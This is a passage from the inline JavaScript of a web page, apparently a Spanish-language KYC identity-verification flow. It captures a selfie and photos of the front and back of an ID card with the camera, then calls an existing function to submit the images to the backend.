    btnConfirmBack.style.display = 'none';
    labelBack.textContent = "Tocar para tomar foto del reverso";
  });

  btnConfirmBack.addEventListener('click', () => {
    if (!tempBack) return;

    inputCardBack.value = tempBack;

    stopMediaPipe();

    if (currentStream){
      currentStream.getTracks().forEach(t => t.stop());
      currentStream = null;
    }

    btnCaptureBack.style.display = 'inline-flex';
    btnRetakeBack.style.display  = 'none';
    btnConfirmBack.style.display = 'none';
    labelBack.textContent = "Tocar para tomar foto del reverso";

    // ✅ tu función existente (de functions.js)
    // Debe enviar selfie_data / card_front_data / card_back_data al backend.
    enviar_kyc();
  });

  btnBackToSelfie.addEventListener('click', () => {
    setActiveStep(1);
    startCameraForStep(1);
  });

  btnBackToFront.addEventListener('click', () => {
    setActiveStep(2);
    startCameraForStep(2);
  });

  if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia){
    alert("Tu navegador no soporta acceso a cámara. Usa otro navegador o dispositivo.");
    return;
  }

  setActiveStep(1);
  startCameraForStep(1);
})();
</script>

</body>
</html>
